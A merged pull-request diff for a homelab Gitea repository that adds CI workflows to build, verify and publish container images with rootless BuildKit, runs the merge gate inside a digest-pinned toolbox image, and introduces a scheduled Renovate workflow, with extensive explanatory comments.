Merge pull request 'feat(dns): public names via the Cloudflare Tunnel (Phase 2) — proxied CNAMEs, Plex/Headlamp LAN-only' (#156) from feat/dns-via-cloudflare-tunnel into main

Reviewed-on: #156
Reviewed-by: Keith Jackson <[email protected]>

.gitea/workflows/README.md

@@ -115,14 +115,60 @@ CI. That is a real coverage gap, not a phase.
 | variable | `REQUIRE_CLUSTER_TESTS` | `'true'` (Phase 1+) makes unverified cluster-needing touched reqs a hard block |
 | secret | `CONFORMANCE_TRIGGER_KUBECONFIG` | narrow creds to create/await the in-cluster Chainsaw Job (not cluster-admin) |
 
+## How images are built
+
+This repo's three images — `toolbox` (`infra/devcontainer/`), `agent-runner` (`infra/agent/`,
+built `FROM` the toolbox) and `conformance-runner` (`conformance/incluster/`) — are built,
+verified and published by [`images.yaml`](images.yaml), never from a workstation
+(operator rule, 2026-10-29). The logic is in [`scripts/images.sh`](scripts/images.sh).
+
+**The builder is rootless BuildKit** ([`platform/buildkit/`](../../platform/buildkit/README.md)),
+reached over mTLS with a pinned `buildx` — no job here touches a Docker daemon, privileged or
+otherwise (operator decision on PR #81). The client certificate reaches jobs as the Actions
+secrets `BUILDKIT_CA`, `BUILDKIT_CLIENT_CERT`, `BUILDKIT_CLIENT_KEY`.
+
+**Verification is a build target.** Each Containerfile ends in a `verify` stage that runs every
+in-image assertion at build time as the non-root uid with `RUN --network=none` (tool presence and
+pinned versions, `PM_SELFTEST=1 pm-dispatch`, the pm-worker probe, the `conformance-clone`
+refusals, no writable path outside the workspace). The pipeline builds `<image>-verify` before it
+builds, let alone pushes, the image. Build args come from each image's own
+`build-image.sh --print-build-args`, which is also the local podman path — so the recipe and the
+proof exist once.
+
+| Trigger | What happens |
+|---|---|
+| pull request touching an image's inputs | build + verify only. Nothing is pushed and **no registry credential is referenced** |
+| push to `main` touching an image's inputs | build + verify + publish to `gitea.home.keithjackson.dev/home-network/<image>` as `sha-<commit>` (immutable) and `main` (moving); the **registry-returned** digest is in the job summary |
+| `workflow_dispatch` | the same as a push when run on `main` (all images by default); verify-only elsewhere |
+
+Only images whose inputs changed are built. The publish job **never writes to git**: Renovate
+follows each image's `main` tag through a `# renovate-digest:` marker next to every digest
+reference (`platform/pm-agent/`, `infra/agent/versions.env`, `conformance/versions.env`) and
+opens the bump PR, which goes through the gate like anything else. A PR opened with the Actions
+token would not trigger the required gate, which is why it is Renovate's job and not this one's.
+
+Credential: the repository secret **`REGISTRY_PUSH_TOKEN`** (scope `write:package`, owned by an
+account with package write on the org). The automatic Actions token cannot push in Gitea 1.24.3
+— the reasoning, with source citations, is in the header of `images.yaml`. Retention:
+[`infra/gitea/registry-retention.sh`](../../infra/gitea/registry-retention.sh), an operator
+action, keeps every digest git pins plus the newest tags.
+
+Cost: the job shares the single act_runner slot with the gate, but the build itself runs in the
+`buildkitd` pod, not in DinD, so the runner's disk and memory are untouched. Until
+`platform/buildkit` is deployed and its client certificate copied
+(`infra/gitea/buildkit-client-secret.sh`), the job fails loudly at its builder preflight.
+
 ## Files
 
 ```
 .gitea/workflows/
   merge-gate.yaml            the pipeline (lint → l0 → l1 → conformance → decision)
+  images.yaml                build/verify/publish this repo's container images (see above)
   scripts/
-    install-tools.sh         installs the pinned tools per stage (from ci/versions.env)
+    install-tools.sh         installs the pinned tools per stage (from ci/versions.env) — used by the
+                             dormant merge-gate.yaml blueprint only; gate.yml runs in the toolbox image
     decide.sh                the R-TEST-03 merge decision over job results
+    images.sh                the image pipeline's driver (what to build, base, push, digest)
   README.md                  this file
 ```
 

.gitea/workflows/gate.yml

@@ -3,8 +3,10 @@
 # This is the LIVE gate wired to the in-cluster Gitea Actions runner (ns gitea-actions,
 # Docker executor + DinD). It invokes the AGGREGATE merge gate — `./ci/gate.sh`, which is
 # exactly what `make -C ci gate` runs, so CI and the devcontainer gate the same way
-# (R-TEST-02): the runner just installs the pinned tools from ci/versions.env first (and see
-# below for why the script, not `make`, is invoked here). It runs every stage in order —
+# (R-TEST-02) — and since 2026-11-08 it runs INSIDE the same image: the job `container:` is the
+# CI-built devcontainer toolbox (see "THE JOB IMAGE" below), not a generic runner image that
+# downloads the pinned tools on every run. (See further below for why the script, not `make`,
+# is invoked here.) It runs every stage in order —
 # spec-immutability, lint, Kyverno L0, render==golden, L1 offline render — and then applies the
 # R-TEST-03 decision, printing
 # "MERGE GATE: PASS" (0) / "BLOCKED" (1) / "UNDETERMINED" (3) / "NOT APPLICABLE" (0). It is the
@@ -17,7 +19,8 @@
 # kinds of non-run must be told apart HERE, in the caller, because only the caller knows which
 # environment it is:
 #   * a pinned tool missing or a seam unwired ON THIS RUNNER is a DEFECT — the toolchain is
-#     installed for us two steps up. GATE_STRICT_SKIPS=true DECLARES that (no env sniffing, no
+#     baked into the job image and checked against ci/versions.env two steps up.
+#     GATE_STRICT_SKIPS=true DECLARES that (no env sniffing, no
 #     "does this look like CI?" heuristic) and makes those skips exit 1: untolerated, job fails.
 #   * spec-immutability CANNOT be verified here at all: the spec repo is a separate repo and is
 #     not checked out into this runner (SPEC_REPO_SLUG unwired; blueprint in merge-gate.yaml). It
@@ -41,6 +44,32 @@
 # same script the laptop runs; the extra pre-step is a read-only git-diff check and is
 # purely additive. The full pipeline blueprint (spec-checkout, per-layer jobs, decision job)
 # is retained dormant in merge-gate.yaml.
+#
+# THE JOB IMAGE (2026-11-08, feat/gate-toolbox-container). The gate job runs in
+# gitea.home.keithjackson.dev/home-network/toolbox, pinned BY DIGEST — the image
+# .gitea/workflows/images.yaml builds from infra/devcontainer/Containerfile, verifies, and
+# publishes. It is the SAME image `infra/devcontainer/dev.sh` runs, so a local gate and the CI
+# gate now execute the identical toolchain (R-TEST-02), not two installs that agree by intent.
+# Before this, the job ran in ghcr.io/catthehacker/ubuntu:act-22.04 and spent ~11s of every run
+# re-downloading yamllint, check-jsonschema, kyverno, promtool and chainsaw
+# (.gitea/workflows/scripts/install-tools.sh l0 + l1; measured on runs 494/495).
+#   * PINNED BY DIGEST, MOVED BY RENOVATE. The `# renovate-digest:` marker above the image line
+#     is the repo-wide convention (renovate.json5, "This repo's own CI-published images"):
+#     Renovate follows the `main` tag and opens a digest-bump PR, whose OWN gate run then
+#     executes on the new image — the bump tests itself. infra/gitea/registry-retention.sh reads
+#     the same marker, so the pinned digest is never pruned. Never hand-edit it to a tag.
+#   * PULL AUTH: none needed. The Home-Network org is public and the registry issues an
+#     anonymous pull token (measured 2026-11-08: anonymous /v2/token -> manifest 200), so the
+#     runner's DinD pulls it like any public image. If the org is ever made private, add
+#     `credentials:` here with a read:package token secret — the automatic Actions token has no
+#     package scope at /v2/token (see images.yaml's header).
+#   * COLD PULL: ~467 MB compressed (1.54 GB unpacked). The DinD store is an emptyDir, so the
+#     first job after a runner-pod restart or a digest bump pays one pull; every other run finds
+#     it cached (forcePull=false), exactly as it already did for the catthehacker image.
+#   * NO NODE in the toolbox, so `actions/checkout` (a Node action) cannot run here. The checkout
+#     step is plain git instead — see its comment for how it keeps fetch-depth-0 semantics.
+#   * install-tools.sh is NOT deleted: merge-gate.yaml (the dormant blueprint) still calls it,
+#     and conformance/tests/l0-static/alert-rules-unit-tested asserts its promtool wiring.
 ---
 name: gate
 
@@ -78,16 +107,76 @@ jobs:
   # Single required status check: the static merge gate.
   gate:
     runs-on: ubuntu-latest
+    # The CI-built toolbox — the same image dev.sh runs. See "THE JOB IMAGE" in the header.
+    container:
+      # renovate-digest: image=gitea.home.keithjackson.dev/home-network/toolbox tag=main
+      image: gitea.home.keithjackson.dev/home-network/toolbox@sha256:83a3501efe34fa0b039e3f0d360738686a0f59109866c49779768f5d5ed0ef81
     steps:
-      - name: Checkout
-        uses: actions/checkout@v4
-        with:
-          fetch-depth: 0        # full history so ci/touched-requirements.sh can diff vs main
-
-      - name: Install pinned CI toolchain (ci/versions.env)
+      # Plain git, because actions/checkout is a Node action and the toolbox has no Node. It
+      # reproduces what actions/checkout@v7 with `fetch-depth: 0` did here (read from its logged
+      # commands on runs 490/495): full history of every branch + tags, so
+      # ci/touched-requirements.sh can diff against origin/<base>; the exact event commit
+      # checked out (detached for a PR, as `-B <branch>` for a push). One difference, on
+      # purpose: the job token is passed to the single fetch through GIT_CONFIG_* environment
+      # variables and is NOT persisted into .git/config — nothing after this step needs
+      # authenticated git (ci/ and conformance/ make no network git calls), so there is no
+      # reason to leave a credential in the workspace for the gate's scripts to read.
+      - name: Checkout (git, full history)
+        env:
+          GIT_TOKEN: ${{ github.token }}
+          SERVER_URL: ${{ github.server_url }}
+          REPOSITORY: ${{ github.repository }}
+          SHA: ${{ github.sha }}
+          REF: ${{ github.ref }}
         run: |
-          ./.gitea/workflows/scripts/install-tools.sh l0
-          ./.gitea/workflows/scripts/install-tools.sh l1
+          set -euo pipefail
+          # act runs steps with umask 0000, so without this every checked-out directory is
+          # world-writable — and Ansible then IGNORES infra/ansible/ansible.cfg as a source
+          # ("Ansible is being run in a world writable directory"), which made the L0 check
+          # prod-baremetal-not-dev-surface fail on this PR's first CI run (run 500). The
+          # toolbox has Ansible, so that check now drives it for real. 0022 = what a
+          # workstation clone gets (reproduced locally: 0000 fails the check, 0022 passes).
+          umask 0022
+          git config --global --add safe.directory "$PWD"
+          git init -q .
+          git remote add origin "${SERVER_URL}/${REPOSITORY}"
+          auth="$(printf 'x-access-token:%s' "$GIT_TOKEN" | base64 -w0)"
+          GIT_CONFIG_COUNT=1 GIT_CONFIG_KEY_0=http.extraHeader \
+          GIT_CONFIG_VALUE_0="AUTHORIZATION: basic ${auth}" \
+            git -c protocol.version=2 fetch --quiet --no-tags --prune --no-recurse-submodules origin \
+              '+refs/heads/*:refs/remotes/origin/*' '+refs/tags/*:refs/tags/*' \
+              "+${SHA}:refs/remotes/checkout/head"
+          unset auth GIT_TOKEN
+          case "$REF" in
+            refs/heads/*) git checkout -q --force -B "${REF#refs/heads/}" "$SHA" ;;
+            *)            git checkout -q --force --detach "$SHA" ;;
+          esac
+          [ "$(git rev-parse HEAD)" = "$SHA" ] || { echo "::error::HEAD is not ${SHA}" >&2; exit 1; }
+          echo "checked out $(git log -1 --format='%H %s') (ref ${REF}); $(git rev-list --count HEAD) commits of history"
+
+      # The image is the toolchain, so prove it is the PINNED one before trusting it: every
+      # *_VERSION in ci/versions.env must equal what the image recorded at build time
+      # (/etc/dev-toolchain-versions, written by infra/devcontainer/Containerfile; its `verify`
+      # stage already asserted the version-sensitive binaries report those pins). This replaces
+      # the per-run install: a drifted toolbox fails HERE, naming the tool, instead of gating with
+      # a different engine. ci/versions.env and infra/devcontainer/versions.env must move together.
+      - name: Toolchain is the one ci/versions.env pins
+        run: |
+          set -euo pipefail
+          . ci/versions.env
+          drift=0
+          for var in $(grep -oE '^[A-Z_]+_VERSION' ci/versions.env); do
+            tool="$(printf '%s' "${var%_VERSION}" | tr 'A-Z_' 'a-z-')"
+            want="${!var}"
+            got="$(sed -n "s/^${tool}=//p" /etc/dev-toolchain-versions)"
+            if [ "$got" = "$want" ]; then
+              printf 'ok     %-18s %s\n' "$tool" "$want"
+            else
+              printf '::error::DRIFT  %s: ci/versions.env pins %s, the job image has %s\n' "$tool" "$want" "${got:-nothing}"
+              drift=1
+            fi
+          done
+          [ "$drift" -eq 0 ]
 
       # R-TEST-06: the spec is read-only to agents. An EXPLICIT early surfacing of the
       # spec-immutability check, so its result is a distinct, tolerant status line in the
@@ -131,6 +220,10 @@ jobs:
           # merging. Green here means the token resolved and the live Gitea matched the
           # declaration in infra/gitea/expected-branch-protection.json.
           REQUIRE_GITEA_SETTINGS: "true"
+          # ci/approval-policy.sh needs to know WHICH PR it is looking at, so it can read that
+          # PR's changed files and its reviews. Absent on a push event, where the stage is N/A.
+          GITHUB_EVENT_NAME: ${{ github.event_name }}
+          PR_NUMBER: ${{ github.event.pull_request.number }}
         run: ./ci/gate.sh || [ "$?" -eq 3 ]
 
       # NOTE: no actions/upload-artifact step. Gitea Actions rejects upload-artifact@v4

.gitea/workflows/images.yaml

@@ -0,0 +1,185 @@
+# Container images — built, verified and published by CI, never from a workstation.
+#
+# ═══════════════════════════════════════════════════════════════════════════════════════════════
+# WHY THIS FILE EXISTS (operator rule, 2026-10-29)
+# ═══════════════════════════════════════════════════════════════════════════════════════════════
+# "Container image creation, hosting and lifecycle must be part of CI/CD and the codebase, never a
+# one-off build/push from a workstation." Before this workflow, three images existed only as
+# workstation builds and NOTHING had ever been pushed to the Gitea registry: the Home-Network org's
+# package list was empty, platform/pm-agent/ pinned an all-zero digest and sat in ImagePullBackOff,
+# and conformance/versions.env carried an empty digest. Both build scripts said "publishing is an
+# operator action" — a step with no log, no recorded inputs and no verification anyone could read.
+#
+# WHAT IT DOES — the logic is in scripts/images.sh; this file only wires triggers and secrets.
+#   pull_request -> build + VERIFY only. No push, and no registry credential is referenced.
+#   push to main -> build + verify + PUBLISH to gitea.home.keithjackson.dev/home-network/<image>
+#   dispatch     -> same as a push when run on main; verify-only on any other ref.
+# Images: toolbox (infra/devcontainer), agent-runner (infra/agent, FROM toolbox) and
+# conformance-runner (conformance/incluster). Only images whose inputs changed are built.
+#
+# THE DIGEST LIFECYCLE — this workflow NEVER writes to git.
+#   1. publish pushes `sha-<commit>` (immutable) and `main` (moving), and prints the digest the
+#      REGISTRY returns in the job summary.
+#   2. Renovate (renovate.yaml) follows the `main` tag of each image through the
+#      `# renovate-digest:` markers next to every digest reference, and opens the bump PR.
+#   3. That PR goes through the gate like any other change, and Flux deploys it.
+# The bump PR is Renovate's and not this job's because a PR opened with the Actions token does not
+# trigger workflows, so it could never pass the REQUIRED gate check; Renovate's token is a real
+# user's.
+#
+# THE PUSH CREDENTIAL — `REGISTRY_PUSH_TOKEN`, a repository Actions secret, referenced BY NAME.
+# The automatic Actions token CANNOT be used. Gitea 1.24.3 source, verified:
+#   * services/auth/basic.go (Basic.Verify) turns a task token into the pseudo-user
+#     `gitea-actions` (ActionsUserID -2) and sets NO token scope;
+#   * routers/api/packages/container/container.go (Authenticate, the /v2/token exchange every
+#     docker client uses) then requires read:package / write:package / all scope and answers 401;
+#   * services/context/package.go (determineAccessMode) has `// TODO: ActionUser permission check`
+#     and no branch for that user, so even past login it would get at most READ on a public org.
+# So: a personal access token with scope `write:package`, minted by an account that has package
+# WRITE on the Home-Network org (org owner, or a team with the Packages unit at write). A dedicated
+# bot account in a packages-only team is the least-privilege choice. The username sent with it is
+# not checked by Gitea (basic.go resolves the owner from the token), so `vars.REGISTRY_PUSH_USER`
+# is optional and only labels the login.
+#
+# THE BUILDER — rootless BuildKit (operator decision on PR #81, 2026-10-29).
+# The act runner's job containers get NO Docker daemon (act_runner 0.2.11 forces docker_host "-"
+# for a tcp:// DinD, and gitea/act strips every bind when valid_volumes is empty — measured on
+# this PR's first run), and handing them the privileged DinD daemon would be root on the node for
+# anyone who can push a branch. So images are built by platform/buildkit/: a ROOTLESS buildkitd
+# (not privileged; uid 1000 in a user namespace), reached over mTLS at
+# buildkitd.buildkit.svc.cluster.local:1234 with a pinned `buildx` (remote driver). Its client
+# certificate reaches jobs as three Actions secrets — BUILDKIT_CA, BUILDKIT_CLIENT_CERT,
+# BUILDKIT_CLIENT_KEY — copied from cert-manager by infra/gitea/buildkit-client-secret.sh.
+# Pull requests get the client certificate (they must build) but never a registry credential.
+#
+# UNTIL platform/buildkit IS DEPLOYED (Flux applies it only after merge) THIS JOB FAILS, LOUDLY,
+# at its builder preflight. A skipped Gitea job reports `success`, so it is red on purpose.
+#
+# VERIFICATION is each Containerfile's `verify` stage, built before anything is pushed.
+#
+name: images
+
+on:
+  pull_request:
+    branches: [main]
+    paths:
+      - infra/devcontainer/Containerfile
+      - infra/devcontainer/versions.env
+      - infra/devcontainer/build-image.sh
+      - infra/agent/**
+      - conformance/incluster/Containerfile
+      - conformance/incluster/conformance-clone
+      - conformance/incluster/build-image.sh
+      - .gitea/workflows/images.yaml
+      - .gitea/workflows/scripts/images.sh
+      - platform/buildkit/versions.env
+  push:
+    branches: [main]
+    paths:
+      - infra/devcontainer/Containerfile
+      - infra/devcontainer/versions.env
+      - infra/devcontainer/build-image.sh
+      - infra/agent/**
+      - conformance/incluster/Containerfile
+      - conformance/incluster/conformance-clone
+      - conformance/incluster/build-image.sh
+      - .gitea/workflows/images.yaml
+      - .gitea/workflows/scripts/images.sh
+      - platform/buildkit/versions.env
+  workflow_dispatch:
+    inputs:
+      images:
+        description: "Which images: 'all', or a space-separated subset of: toolbox agent-runner conformance-runner"
+        required: false
+        default: "all"
+
+concurrency:
+  # Never cancel a publish half-way: a pushed `sha-` tag with no matching `main` move is
+  # recoverable (a rerun skips what is already published) but pointless to provoke.
+  group: images-${{ github.ref }}
+  cancel-in-progress: false
+
+jobs:
+  images:
+    runs-on: ubuntu-latest
+    # Measured on the PR that introduced this file — see its decisions entry. Generous because a
+    # cold DinD store downloads the Fedora base and every pinned tool on each run.
+    timeout-minutes: 75
+    steps:
+      - name: Checkout
+        uses: actions/checkout@3d3c42e5aac5ba805825da76410c181273ba90b1 # v7
+        with:
+          fetch-depth: 0   # the per-image change detection diffs against the base commit
+
+      # ── pull requests: build + verify, NO credential ───────────────────────────────────────
+      - name: Build and verify (pull request — nothing is pushed)
+        if: github.event_name == 'pull_request'
+        env:
+          MODE: verify
+          IMAGES: auto
+          PR_BASE_REF: ${{ github.base_ref }}
+          # The BUILDER's client certificate (platform/buildkit). Not a registry credential:
+          # a pull request can build, never push.
+          BUILDKIT_CA: ${{ secrets.BUILDKIT_CA }}
+          BUILDKIT_CLIENT_CERT: ${{ secrets.BUILDKIT_CLIENT_CERT }}
+          BUILDKIT_CLIENT_KEY: ${{ secrets.BUILDKIT_CLIENT_KEY }}
+        run: |
+          set -euo pipefail
+          BASE_SHA="$(git merge-base "origin/${PR_BASE_REF}" HEAD)"
+          export BASE_SHA
+          ./.gitea/workflows/scripts/images.sh
+
+      # ── non-main dispatch: verify only ──────────────────────────────────────────────────────
+      - name: Build and verify (dispatch off main — nothing is pushed)
+        if: github.event_name == 'workflow_dispatch' && github.ref != 'refs/heads/main'
+        env:
+          MODE: verify
+          IMAGES: ${{ inputs.images == 'all' && 'toolbox agent-runner conformance-runner' || inputs.images }}
+          BUILDKIT_CA: ${{ secrets.BUILDKIT_CA }}
+          BUILDKIT_CLIENT_CERT: ${{ secrets.BUILDKIT_CLIENT_CERT }}
+          BUILDKIT_CLIENT_KEY: ${{ secrets.BUILDKIT_CLIENT_KEY }}
+        run: ./.gitea/workflows/scripts/images.sh
+
+      # ── main: publish ───────────────────────────────────────────────────────────────────────
+      - name: Preflight - the push token must exist, and its absence must be LOUD
+        if: github.event_name != 'pull_request' && github.ref == 'refs/heads/main'
+        env:
+          REGISTRY_PUSH_TOKEN: ${{ secrets.REGISTRY_PUSH_TOKEN }}
+        run: |
+          set -euo pipefail
+          if [ -z "${REGISTRY_PUSH_TOKEN:-}" ]; then
+            echo "::error::REGISTRY_PUSH_TOKEN is not set on this repository." >&2
+            cat >&2 <<'MSG'
+
+          Images cannot be published without a registry credential, and this step fails rather
+          than skipping ON PURPOSE: a skipped Gitea job reports `success`, so skipping here would
+          make "nothing was published" look exactly like "published". That is how this repo went
+          a month with images that existed only on one workstation.
+
+          WHY NOT THE BUILT-IN ACTIONS TOKEN: Gitea 1.24.3 gives it no package scope at the
+          registry's /v2/token exchange (routers/api/packages/container/container.go,
+          Authenticate) — see the header of .gitea/workflows/images.yaml.
+
+          TO FIX: as an account with package WRITE on the Home-Network org (ideally a dedicated
+          bot in a packages-only team), create an access token with scope `write:package` and
+          nothing else, then add it to this repository as the Actions secret
+          REGISTRY_PUSH_TOKEN. Optionally set the Actions variable REGISTRY_PUSH_USER to that
+          account's name. Do not commit the token anywhere. Then re-run this workflow
+          (workflow_dispatch on main, images: all).
+          MSG
+            exit 1
+          fi
+          echo "REGISTRY_PUSH_TOKEN is present (value not printed)."
+
+      - name: Build, verify and publish (main)
+        if: github.event_name != 'pull_request' && github.ref == 'refs/heads/main'
+        env:
+          MODE: publish
+          IMAGES: ${{ github.event_name == 'workflow_dispatch' && (inputs.images == 'all' && 'toolbox agent-runner conformance-runner' || inputs.images) || 'auto' }}
+          BASE_SHA: ${{ github.event.before }}
+          REGISTRY_TOKEN: ${{ secrets.REGISTRY_PUSH_TOKEN }}
+          REGISTRY_USER: ${{ vars.REGISTRY_PUSH_USER }}
+          BUILDKIT_CA: ${{ secrets.BUILDKIT_CA }}
+          BUILDKIT_CLIENT_CERT: ${{ secrets.BUILDKIT_CLIENT_CERT }}
+          BUILDKIT_CLIENT_KEY: ${{ secrets.BUILDKIT_CLIENT_KEY }}
+        run: ./.gitea/workflows/scripts/images.sh

.gitea/workflows/merge-gate.yaml

@@ -60,9 +60,9 @@ jobs:
   spec-immutability:
     runs-on: ubuntu-latest
     steps:
-      - uses: actions/checkout@v4                 # the implementation repo
+      - uses: actions/checkout@3d3c42e5aac5ba805825da76410c181273ba90b1                 # v7                 # the implementation repo
       - name: Check out the read-only spec (sibling path)
-        uses: actions/checkout@v4
+        uses: actions/checkout@3d3c42e5aac5ba805825da76410c181273ba90b1 # v7
         with:
           repository: ${{ vars.SPEC_REPO_SLUG }}  # e.g. Home-Network/home-network-k3s (set in Gitea)
           path: ../home-network-k3s
@@ -74,7 +74,7 @@ jobs:
     runs-on: ubuntu-latest
     needs: [spec-immutability]
     steps:
-      - uses: actions/checkout@v4
+      - uses: actions/checkout@3d3c42e5aac5ba805825da76410c181273ba90b1 # v7
         with: { fetch-depth: 0 }          # full history so touched-requirement diff works
       - name: Install pinned tools
         run: ./.gitea/workflows/scripts/install-tools.sh lint
@@ -85,7 +85,7 @@ jobs:
     runs-on: ubuntu-latest
     needs: [lint]
     steps:
-      - uses: actions/checkout@v4
+      - uses: actions/checkout@3d3c42e5aac5ba805825da76410c181273ba90b1 # v7
         with: { fetch-depth: 0 }
       - name: Install pinned tools
         run: ./.gitea/workflows/scripts/install-tools.sh l0
@@ -96,7 +96,7 @@ jobs:
     runs-on: ubuntu-latest
     needs: [l0]
     steps:
-      - uses: actions/checkout@v4
+      - uses: actions/checkout@3d3c42e5aac5ba805825da76410c181273ba90b1 # v7
         with: { fetch-depth: 0 }
       - name: Install pinned tools
         run: ./.gitea/workflows/scripts/install-tools.sh l1
@@ -107,7 +107,7 @@ jobs:
     runs-on: ubuntu-latest
     needs: [render-golden]
     steps:
-      - uses: actions/checkout@v4
+      - uses: actions/checkout@3d3c42e5aac5ba805825da76410c181273ba90b1 # v7
         with: { fetch-depth: 0 }
       - name: Install pinned tools
         run: ./.gitea/workflows/scripts/install-tools.sh l1
@@ -115,7 +115,7 @@ jobs:
         run: make -C ci l1
       - name: Upload L1 artifacts
         if: always()
-        uses: actions/upload-artifact@v4
+        uses: actions/upload-artifact@cf430e030ddbb5b0abf93d22962f4752f3646cd9 # v7
         with:
           name: l1-junit-coverage
           path: |
@@ -131,7 +131,7 @@ jobs:
     needs: [l1]
     if: ${{ vars.CLUSTER_AVAILABLE == 'true' }}
     steps:
-      - uses: actions/checkout@v4
+      - uses: actions/checkout@3d3c42e5aac5ba805825da76410c181273ba90b1 # v7
         with: { fetch-depth: 0 }
       - name: Install pinned tools
         run: ./.gitea/workflows/scripts/install-tools.sh conformance
@@ -142,7 +142,7 @@ jobs:
         run: make -C ci conformance
       - name: Upload L2/L3 artifacts
         if: always()
-        uses: actions/upload-artifact@v4
+        uses: actions/upload-artifact@cf430e030ddbb5b0abf93d22962f4752f3646cd9 # v7
         with:
           name: conformance-junit-coverage
           path: |
@@ -160,7 +160,7 @@ jobs:
     needs: [lint, l0, render-golden, l1, conformance]
     if: always()
     steps:
-      - uses: actions/checkout@v4
+      - uses: actions/checkout@3d3c42e5aac5ba805825da76410c181273ba90b1 # v7
       - name: Decide
         env:
           R_LINT: ${{ needs.lint.result }}

.gitea/workflows/renovate.yaml

@@ -0,0 +1,318 @@
+# Renovate — the dependency/image update automation. SCHEDULED, self-hosted against this Gitea.
+#
+# ═══════════════════════════════════════════════════════════════════════════════════════════════
+# WHY THIS FILE EXISTS: renovate.json HAS BEEN IN THIS REPO AND HAS NEVER ONCE RUN.
+# ═══════════════════════════════════════════════════════════════════════════════════════════════
+# Measured 2026-10-17: `renovate.json` is present, complete and thoughtfully written — it declares
+# managers, schedules, automerge classes and grouping. Nothing executes it. There is no Renovate
+# workflow (this is the first), no Renovate CronJob or Deployment in the cluster
+# (`kubectl get cronjob,deploy,job -A | grep -i renovate` -> nothing), and no bot account doing it
+# from outside. Meanwhile SEVEN files carry comments asserting "Renovate maintains this pin"
+# (platform/homepage/deployment.yaml:40, runbooks/serving/deployment.yaml:87,
+# platform/crafty/deployment.yaml:63, platform/vpn-ingress/daemonset.yaml:259,
+# platform/keycloak/postgres-cluster.yaml:75, apps/wave-0/nextcloud-db.yaml:302, and
+# platform/headlamp/helmrepository.yaml:2). Those comments have been false for the life of the file.
+#
+# The cost is measurable. With nothing bumping anything: the six per-app oauth2-proxy auth sidecars
+# sit on v7.8.1 while the platform oauth2-proxy in the SAME cluster runs v7.15.5; Keycloak (the IdP)
+# runs 26.0.6, a November-2024 release, 8 minors behind; Velero runs a RELEASE CANDIDATE
+# (velero-plugin-for-aws v1.14.3-rc.2) with a stable available; the CNPG Postgres image is 16.4,
+# missing every 16.5+ security release. A pin nothing maintains is not a pin, it is a fossil.
+#
+# ═══════════════════════════════════════════════════════════════════════════════════════════════
+# WHY RENOVATE AND NOT FLUX IMAGE-AUTOMATION (the decision, and it reverses ADR-0009's split)
+# ═══════════════════════════════════════════════════════════════════════════════════════════════
+# ADR-0009 divided the work: Renovate owns Helm chart/dependency bumps, Flux image-automation owns
+# per-service container image TAGS, deliberately non-overlapping. The second half of that split
+# cannot be delivered on this repo's terms, for three measured reasons:
+#
+#   1. IT WOULD BYPASS THE MERGE GATE, WHICH CLAUDE.md §1 FORBIDS. ImageUpdateAutomation does not
+#      open pull requests; it COMMITS AND PUSHES. Its default target is the source's own branch —
+#      `main` — so it would write straight past the PR flow. It can be pointed at a side branch
+#      instead, but then nothing opens the PR and bumps silently accumulate on a branch nobody
+#      merges. Either way a human or a second bot has to close the loop.
+#   2. ON THIS CLUSTER IT CANNOT EVEN DO THAT. Measured 2026-10-17: `main` is protected with
+#      `user_can_push: false`, and the `flux-system` GitRepository has NO `spec.secretRef` at all —
+#      the source is anonymous and read-only. Enabling write-back means minting an in-cluster git
+#      WRITE credential for the repository that defines the cluster, which is a materially larger
+#      blast radius than a CI-scoped token.
+#   3. RENOVATE ALREADY OPENS PRs NATIVELY, so every change it proposes goes through the gate with
+#      no extra machinery.
+#
+# So: Renovate owns BOTH halves, and Flux image-automation stays disabled. Note this is a change of
+# plan, not a change of state — image-automation has been commented out at
+# platform/kustomization.yaml:52 since it was authored, and the cluster has ZERO
+# ImageRepository/ImagePolicy/ImageUpdateAutomation objects (measured). Its two controllers ARE
+# installed and have idled for 43 days. Nothing is being torn down here; a path that was never
+# taken is being formally closed, and renovate.json's `docker`/`kubernetes` managers — disabled
+# purely to avoid fighting a controller that never ran — are switched on to fill the gap.
+#
+# ═══════════════════════════════════════════════════════════════════════════════════════════════
+# THIS WORKFLOW MUST NOT BE ABLE TO SUCCEED SILENTLY
+# ═══════════════════════════════════════════════════════════════════════════════════════════════
+# A SKIPPED Gitea job reports `success` (CLAUDE.md §2), so "green" is not evidence this ran. Two
+# guards:
+#   * The preflight step FAILS HARD (exit 1) if RENOVATE_TOKEN is absent, rather than skipping.
+#     A missing credential on a dependency bot is indistinguishable from "nothing to update", and
+#     that is precisely how renovate.json stayed inert for months.
+#   * The summary step records what ran into the job summary unconditionally.
+# What this still does NOT give you is an alert when the SCHEDULE stops firing. See the handoff
+# entry's "What I did NOT verify" — that gap is stated, not papered over.
+#
+# OPERATOR PREREQUISITE — ONE SECRET, NOT COMMITTED HERE:
+#   `RENOVATE_TOKEN` — a Gitea access token for the bot account (`renovate-bot`) with FIVE scopes.
+#   Each is required by a call Renovate 44.x makes against Gitea 1.24.3, and Gitea refuses a
+#   token missing one with `403 token does not have at least one of required scope(s)`:
+#     read:user          GET /user                        (platform init: initPlatform)
+#     read:organization  GET /orgs/{owner}, /orgs/{o}/labels  (initRepo -> isOrg, then org labels)
+#     write:repository   clone/push branches, /pulls, /statuses
+#     write:issue        /issues, /labels, /issues/{n}/labels  (dependency dashboard, PR labels;
+#                        Gitea files all of these under the ISSUE scope, not repository)
+#     read:package       the Gitea container registry (RENOVATE_HOST_RULES below)
+#   CORRECTED 2026-10-30. This list used to name only write:repository + read:user (+ read:package),
+#   and the operator minted exactly that. Run 350 then failed at
+#   `GET /api/v1/orgs/Home-Network 403 ... required=[read:organization], token scope=read:package,
+#   write:repository,read:user`; write:issue would have been the next wall. The preflight below now
+#   PROBES these scopes, so a short token fails in seconds with the missing scope named.
+#   Set it as an Actions secret on this repository. Nothing in this repo mints,
+#   stores or references its value; it is consumed by name only.
+#   Until it exists, this workflow FAILS LOUDLY on every scheduled run. That is intended: a
+#   visible red is the correct state for "automation configured but not credentialed".
+#
+# THE FIRST RUN WILL WANT TO OPEN A LOT OF PRs. ~30 dependencies are behind. renovate.json caps the
+# blast radius (`prConcurrentLimit: 5`, `prHourlyLimit: 2`), but run it manually with
+# `dry_run: true` FIRST and read the log before letting the schedule loose. That is what
+# workflow_dispatch's default is for.
+name: renovate
+
+on:
+  schedule:
+    # 08:15 UTC daily. renovate.json ALSO carries `"schedule": ["after 3am and before 6am"]` with
+    # `"timezone": "America/New_York"`, and THAT inner schedule is authoritative — Renovate re-checks
+    # it and DECLINES TO OPEN PRs outside it. So this cron must fire INSIDE the local window, not
+    # merely near it.
+    #
+    # WAS `15 3 * * *`, WHICH NEVER WOULD HAVE WORKED (fixed 2026-10-18, before the first scheduled
